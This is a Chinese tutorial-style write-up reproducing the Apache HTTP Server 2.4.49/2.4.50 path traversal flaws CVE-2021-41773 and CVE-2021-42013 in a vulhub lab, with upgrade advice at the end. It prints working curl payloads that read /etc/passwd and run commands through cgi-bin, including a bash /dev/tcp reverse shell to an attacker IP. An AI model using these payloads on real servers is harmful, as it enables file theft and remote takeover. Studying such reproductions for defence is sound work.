漏洞学习篇:CVE漏洞复现

950 阅读2分钟

漏洞原理

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:

  • 版本等于2.4.49

  • <Directory />Require all granted</Directory>(默认情况下是允许被访问的)。

攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

影响版本

Apache HTTP Server 2.4.49

漏洞复现

这里用vulhub环境

image.png

【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

可以看见,apache是49版本的

image.png

image.png

使用如下 CURL 命令来发送 Payload(其中/icons/必须是一个存在且可访问的目录):

curl -v --path-as-is http://192.168.190.134:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image.png

在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cg命令:

curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
或者是
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

image.png

image.png

修复方法

升级到Apache HTTP Server最新安全版本,或使用Apache HTTP Server 非 2.4.49版

CVE-2021-42013

漏洞原理

Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

影响版本

Apache 2.4.49 和 Apache 2.4.50

漏洞复现

启动漏洞环境

image.png

image.png

curl -v --path-as-is http://192.168.190.134:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image.png

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行:

curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"

image.png

b

修复方法

升级到Apache HTTP Server安全版本。

github上已经有这两个漏洞的检测工具

image.png

image.png